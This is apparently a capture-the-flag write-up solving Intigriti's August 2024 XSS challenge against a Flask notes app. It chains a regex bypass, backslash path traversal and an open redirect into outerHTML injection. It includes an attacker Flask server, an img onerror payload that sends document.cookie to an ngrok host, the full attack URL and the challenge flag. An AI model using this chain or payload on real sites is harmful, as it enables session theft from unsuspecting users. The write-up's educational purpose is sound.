Intigriti keeps challenging us with XSS fun time, this time with a challenge by CryptoCat. I had a great time doing it.
This writeup follows the line of thinking of solving the challenge from zero, so it will be easier to explain the solution backwards (you will understand).
The Challenge
https://challenge-0824.intigriti.io/
It is a simple CRUD for Notes, in Python/Flask, where we can self-register and create our own private notes, which then are saved in a PostgreSQL database.
Actually, we can create only one note and view it, like in the example below.
http://localhost/view?note=fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
As usual in XSS challenges, there is a flag to be recovered and a bot to simulate a privileged user following an attacker link or note.
There is an endpoint of the bot to visit an URL that gives us the target:
app.post("/visit", async (req, res) => {
let { url } = req.body;
if (!url) {
return res.status(400).json({ error: "URL is required" });
}
if (!url.startsWith(BASE_URL)) {
return res
.status(400)
.json({ error: `URL must start with ${BASE_URL}` });
}
let browser;
try {
browser = await puppeteer.launch({
headless: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-dev-shm-usage',
'--disable-accelerated-2d-canvas',
'--disable-gpu',
'--window-size=800x600',
],
});
const page = await browser.newPage();
await page.setCookie({
name: "flag",
value: FLAG,
url: BASE_URL,
});
await page.goto(url, { waitUntil: "networkidle2", timeout: 9999 });
await sleep(5000);
await browser.close();
res.json({ status: "success" });
} catch (error) {
console.error(`Error visiting page: ${error}`);
res.status(500).json({ error: error.toString() });
} finally {
if (browser) {
await browser.close();
}
}
});
- It visits a URL that we control.
- It checks that the URL starts with the BASE_URL. It basically means that the URL must be in the same origin of the app.
- It sets the flag (our target) as a cookie of this origin (BASE_URL).
- The browser waits 5 seconds before closing (the time we have to leak the flag).
Let’s steal the thing. Bad boy time.
Finding an XSS
This app has 2 XSS protections for notes:
DOMPurify
on the client side (JavaScript)bleach
on the server side (Python)
At first I was looking at some other app suspect behaviour, but there is a very obvious XSS vulnerability on the view.html
template.
There is a function called fetchNoteById
that calls an API endpoint to retrieve a note by the ID.
function fetchNoteById(noteId) {
if (noteId.includes("../")) {
showFlashMessage("Input not allowed!", "danger");
return;
}
fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
method: "GET",
headers: {
"X-CSRFToken": csrf_token,
},
})
.then((response) => response.json())
.then((data) => {
if (data.content) {
document.getElementById("note-content").innerHTML =
DOMPurify.sanitize(data.content);
document.getElementById(
"note-content-section"
).style.display = "block";
showFlashMessage("Note loaded successfully!", "success");
} else if (data.error) {
showFlashMessage("Error: " + data.error, "danger");
} else {
showFlashMessage("Note doesn't exist.", "info");
}
if (data.debug) {
document.getElementById("debug-content").outerHTML =
data.debug;
document.getElementById(
"debug-content-section"
).style.display = "block";
}
});
}
This is the function that uses DOMPurify
to protect the note. But the interesting part is the end, that I will repeat here:
if (data.debug) {
document.getElementById("debug-content").outerHTML =
data.debug;
document.getElementById(
"debug-content-section"
).style.display = "block";
}
data
is the JSON result received by the API. if there is a debug
attribute on it, the code replaces the outerHTML of the debug-content-section
DIV.
Although outerHTML
is less common, it is as XSS’able as the usual innerHTML
. The difference is replacing the parent object.
If there is no content
or error
attributes, it just flashes a message, but the rest of the function is processed. No issue.
OK, we just need to return a debug attribute here and get our flag… simple, right? NO!
The App returns attributes content
and note_id
. No debug
for you.
{
"content": "x\n<strong>Abc</strong>\ndef\n\nghi\n<img src=\"aaa.png\">",
"note_id": "fcd2cd30-205d-45a7-8cfd-d8e75bc0b710"
}
Path Traversal
There is another hint at the start of the same fetchNoteById
function:
if (noteId.includes("../")) {
showFlashMessage("Input not allowed!", "danger");
return;
}
It checks for ../
, which is a typical path traversal payload part.
The fetch call just concatenate the noteId to the URL:
fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
method: "GET",
headers: {
"X-CSRFToken": csrf_token,
},
})
The normal API URL endpoint would look like this:
http://localhost/api/notes/fetch/fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
In this case, the note ID fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
comes from the view URL in the address bar http://localhost/view?note=fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
.
Since we control the noteId, we can use a path traversal to look for another API that (maybe) could return a JSON with our desired debug
attribute.
Since the concatenation starts with http://localhost/api/notes/fetch/
, we can only try to traverse to a path inside the app (no attacker domain).
Let’s suppose (for now) there is an API on a route /api2/notes2/hack/<note_id>
.
If we use a fake noteId ../../../api2/notes2/hack/fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
, the concatenation will look like this:
http://localhost/api/notes/fetch/../../../api2/notes2/hack/fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
When normalizing it, the final URL will look like this:
http://localhost/api2/notes2/hack/fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
But first we have to bypass the filter below (Read carefully, because I’ll not repeat it for the 4th time!!)
if (noteId.includes("../")) {
showFlashMessage("Input not allowed!", "danger");
return;
}
OK, the good news is that ..\
will have the same effect 😎
..\..\..\api2/notes2/hack/<some_random_id>
And we have our different API. Hack the flag. End of writeup… NO!!
There is no api2 in the app that would return our debug
attribute.
Open Redirect
We don’t have an API inside the app BUT, there is a very interesting endpoint to save us:
@main.route('/contact', methods=['GET', 'POST'])
def contact():
form = ContactForm()
return_url = request.args.get('return')
if request.method == 'POST':
if form.validate_on_submit():
flash('Thank you for your message!', 'success')
if return_url and is_safe_url(return_url):
return redirect(return_url)
return redirect(url_for('main.home'))
if return_url and is_safe_url(return_url):
return redirect(return_url)
return render_template('contact.html', form=form, return_url=return_url)
The /contact
route receives a return
parameter and it will redirect to it if the is_safe_url
validation is passed. Let’s check it.
def is_safe_url(target):
test_url = urlparse(urljoin(request.host_url, target))
return test_url.scheme in ('http', 'https')
Not that fancy. It just tests the scheme for http(s).
We have an open redirect. We can check it with curl.
Let’s first simulate an API to check.
$ echo '{"debug": "neptunian"}' > debug.json
$ python -m http.server 7777
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
And in another terminal:
# test the JSON Server
curl http://localhost:7777/debug.json
{"debug": "neptunian"}
# test the open redirect
$ curl -L http://localhost/contact?return=http://localhost:7777/debug.json
{"debug": "neptunian"}
Ok, our open redirect allows us to use a local endpoint to call (redirect to) a remote API that could return our XSS payload!
But it all started with fetchNoteById
. We need to make the function call it.
Almost there.
From URL to XSS
How do we make it happen with the browser only calling a URL?
The app has a /view
endpoint:
@main.route('/view', methods=['GET'])
def view_note():
note_id = request.args.get('note') or ''
return render_template('view.html', note_id=note_id)
It takes the note query parameter and use it to render the view.html
template, which uses the parameter to fill a hidden input.
<input type="text" name="note_id" id="note-id-input" class="form-control" value="" />
The page has some JavaScript running at the end. Two event listeners are added, but only one is interesting for our attack:
window.addEventListener("load", function () {
const urlParams = new URLSearchParams(window.location.search);
const noteId = urlParams.get("note");
if (noteId) {
document.getElementById("note-id-input").value = noteId;
validateAndFetchNote(noteId);
}
});
This event is fired on the page load and takes note
querystring parameter to replace the input value (irrelevant) and call the validateAndFetchNote
function.
function validateAndFetchNote(noteId) {
if (noteId && isValidUUID(noteId.trim())) {
history.pushState(null, "", "?note=" + noteId);
fetchNoteById(noteId);
} else {
showFlashMessage(
"Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456.",
"danger"
);
}
}
This function validates the UUID format of the noteId, changes the history state (irrelevant) and calls our beloved fetchNoteById
function.
OK! There is a path from the URL to our vulnerable function.
- URL is
/view/<note_id>
onload
event is fired, which gets thenote_id
from the URL.<note_id>
is used as parameter forvalidateAndFetchNote
validateAndFetchNote
uses itnote_id
to callfetchNoteById
.
The rest of it was analyzed in the previous chapters. But there is still a validation separating us from our dreams.
Regex Bypass
The isValidUUID
is the last frontier to achive our XSS.
function isValidUUID(noteId) {
const uuidRegex =
/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
return uuidRegex.test(noteId);
}
This regex validates the UUID format in the noteId parameter. Right? Right??
Let’s take a look at regex101.
OK, it matches the UUID sample noteId but…
Wait, what??
It keeps finding the match, because this regex tests for the existence of the pattern, but do not block other characters at the beginning of the string (^
). Only at the end ($
).
We can add our path traversal noteId in the beginning!
..\..\..\contact?return=https://0000-000-00-000-00.ngrok-free.app/x?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
The question mark before the noteId
is to avoid breaking the route in my attacker app later, turning the UUID in an ignored querystring.
Setup the Attack Server
We need to setup an attack server that will deliver the poisoned JSON with the XSS payload inside the debug
attribute.
Let’s first take a look at our desired XSS payload (finally):
<img src="http://attacker/noimage" onerror="fetch('http://attacker/send_flag?cookies='+encodeURIComponent(document.cookie), {'mode': 'no-cors'});">
No mistery here. The image does not exist and fires the onerror
event, that calls our JavaScript. We need to put it inside the debug
attribute of our JSON payload.
We need a web app to deliver that.
from flask import Flask, jsonify, request, make_response
app = Flask(__name__)
REPLACER = '<<<HOST>>>'
@app.route('/fireinthehole', methods=['GET', 'OPTIONS'])
def fire():
origin = request.environ['werkzeug.request'].host_url
exploit = open('leak_flag.html', 'r').read().replace(REPLACER, origin)
resp = make_response(jsonify({'debug': exploit}))
return resp
The code looks a little more complicated than needed, but I’ll get there.
The server reads the XSS template file and replaces the <<<HOST>>>
string with the requested host (because I never know my ngrok URL).
And then it returns the JSON answer (finally).
We can now serve it remotely with ngrok.
$ python exploit_server.py
* Serving Flask app 'exploit_server'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:7777
Press CTRL+C to quit
In another terminal.
ngrok http 7777
In a 3rd terminal (a lot of terminals by now):
curl https://0000-000-00-000-00.ngrok-free.app/fireinthehole
{"debug":"DEBUG OPEN\n<img src=\"http://0000-000-00-000-00.ngrok-free.app/noimage\" onerror=\"fetch('http://0000-000-00-000-00.ngrok-free.app/send_flag?cookies='+encodeURIComponent(document.cookie), {'mode': 'no-cors'});\">\nDEBUG CLOSE"}
Fine, fine, just fine!
CORS!
There is still an error here, but for learning purposes, let’s suffer from it first in the browser.
http://localhost/view?note=..\..\..\contact?return=https://0000-000-00-000-00.ngrok-free.app/fireinthehole?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
Nothing happens and we do not get the flag yet, but we can see the fetch calling our path traversed URL and using the redirect to call our ngrok endpoint.
We stop at a CORS error with more detail from the console:
Access to fetch at 'https://0000-000-00-000-00.ngrok-free.app/fireinthehole?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710' (redirected from 'http://localhost/contact?return=https://0000-000-00-000-00.ngrok-free.app/fireinthehole?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710') from origin 'http://localhost' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
We have to add the CORS headers on our server side.
@app.route('/fireinthehole', methods=['GET', 'OPTIONS'])
def fire():
origin = request.environ['werkzeug.request'].host_url
exploit = open('leak_flag.html', 'r').read().replace(REPLACER, origin)
resp = make_response(jsonify({'debug': exploit}))
# new stuff
resp.headers['Access-Control-Allow-Origin'] = '*'
resp.headers['Access-Control-Allow-Headers'] = 'x-csrftoken'
return resp
I didn’t knew about the Access-Control-Allow-Headers
header. We have to allow the header x-csrftoken
. If we do not do it, the CORS will be blocked anyway, because the fetch call comes with this X-CSRFToken
header.
fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
method: "GET",
headers: {
"X-CSRFToken": csrf_token,
},
})
(I swear… last time you see this code!!)
Let’s try again with new server and our mailbox flashes:
Oh yeah baby!
Hack the Admin (bot)
First on client side, with a submit.
Note the use of http://127.0.0.1
here, because this is the BASE_URL configured for the app. Using http://localhost
here would fail validation.
And then…
Finally!
Report URL
https://challenge-0824.intigriti.io/view?note=..\..\..\contact?return=https://0000-000-00-000-00.ngrok-free.app/fireinthehole?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710
Server Flag
INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}
References
- Twitter: @NeptunianHacks
- Team: FireShell
- Team Twitter